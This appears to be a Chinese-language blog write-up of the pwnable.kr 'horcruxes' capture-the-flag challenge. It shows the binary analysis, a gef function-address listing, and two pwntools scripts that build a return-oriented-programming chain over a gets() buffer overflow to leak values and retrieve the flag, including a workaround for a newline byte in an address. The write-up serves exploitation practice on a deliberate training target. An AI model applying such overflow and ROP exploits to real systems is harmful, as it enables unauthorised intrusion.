0x00 前言

前陣子跑去上了成大的關鍵基礎設施資安學程,加上AIS3和HITCON,我整個暑假整個爆滿。這幾天好不容易有休息的時間來練習自己一直丟給隊友的PWN,這次是選擇Pwnable.kr的題目,本次只有一題horcruxes,但我解完這題後發現還蠻有趣的,挺適合練習ROP的思路。

0x01 分析

ssh進去會發現有一個horcruxes和readme。readme裡有寫到他把程式開在9032 port上
(connect to port 9032 (nc 0 9032). the ‘horcruxes’ binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.)
那我們先下載來吧

1
scp -P 2222 horcruxes@pwnable.kr:~/horcruxes .

拿到後馬上用ida分析

我們會發現ropme是拿到flag的關鍵,看起來atoi(s) == sum 這邊我們只要知道sum就能拿到flag
這邊追回去發現init_abcdefg會叫到他

這邊能發現到他會用一些隨機的值生成出來result

我們能用ida在他的function中找到一堆奇怪的func
這些func會把那些隨機的值輸出出來,這看起來就很ROP

現在我們只要用ropme的get來bof就好

0x02 ROP

先算出要填幾個a,之後放入rop的位置
我們看一下記憶體位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
gef➤  info func 
All defined functions:

Non-debugging symbols:
0x0809fbec _init
0x0809fc20 seccomp_init@plt
0x0809fc30 read@plt
0x0809fc40 printf@plt
0x0809fc50 gets@plt
0x0809fc60 seccomp_rule_add@plt
0x0809fc70 getchar@plt
0x0809fc80 seccomp_load@plt
0x0809fc90 alarm@plt
0x0809fca0 puts@plt
0x0809fcb0 exit@plt
0x0809fcc0 open@plt
0x0809fcd0 srand@plt
0x0809fce0 __libc_start_main@plt
0x0809fcf0 setvbuf@plt
0x0809fd00 rand@plt
0x0809fd10 __isoc99_scanf@plt
0x0809fd20 atoi@plt
0x0809fd30 close@plt
0x0809fd40 __gmon_start__@plt
0x0809fd50 _start
0x0809fd80 __x86.get_pc_thunk.bx
0x0809fd90 deregister_tm_clones
0x0809fdc0 register_tm_clones
0x0809fe00 __do_global_dtors_aux
0x0809fe20 frame_dummy
0x0809fe4b A
0x0809fe6a B
0x0809fe89 C
0x0809fea8 D
0x0809fec7 E
0x0809fee6 F
0x0809ff05 G
0x0809ff24 main
0x080a0009 ropme
0x080a0177 init_ABCDEFG
0x080a0324 hint
0x080a0350 __libc_csu_init
0x080a03b0 __libc_csu_fini
0x080a03b4 _fini

我們把要用的記錄下來後把他們串在a後面
最後在跳回rop去拿flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

r = remote("pwnable.kr", 9032)


a = 0x0809fe4b
b = 0x0809fe6a
c = 0x0809fe89
d = 0x0809fea8
e = 0x0809fec7
f = 0x0809fee6
g = 0x0809ff05
ropme = 0x080a0009

rop = flat(
a,
b,
c,
d,
e,
f,
g,
ropme
)

r.sendlineafter(b":", b"48763")
r.sendlineafter(b":" , b"a" * 0x78 + rop)

print(r.recvuntil(b"Select Menu:"))
r.sendline(b"48763")
r.interactive()

然後確定ok直接給他跑下去

沒錯他掛掉了 TT

經過分析記憶體位置後發現ropme = 0x080a0009,我沒注意到裡面有0a
因為0a的關係會讓我們輸入斷在那邊

ㄓ這…這一定是出題者的惡意..
:angry_pepe:

0x03 GET_FLAG

這邊我們能用main的call 0x80a0009 <ropme>來跳到ropme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

r = remote("pwnable.kr", 9032)


a = 0x0809fe4b
b = 0x0809fe6a
c = 0x0809fe89
d = 0x0809fea8
e = 0x0809fec7
f = 0x0809fee6
g = 0x0809ff05
ropme = 0x0809fffc

rop = flat(
a,
b,
c,
d,
e,
f,
g,
ropme
)

r.sendlineafter(b":", b"48763")
r.sendlineafter(b":" , b"a" * 0x78 + rop)

print(r.recvuntil(b"Select Menu:"))
r.sendline(b"48763")
r.interactive()

最後只要把拿到字串中的數字取出進行加總就好
我們能使用 re 或 但單純字串切割來拿到sum

但…沒錯 我選擇用複製+計算機+貼上

拿到flagㄌ hehe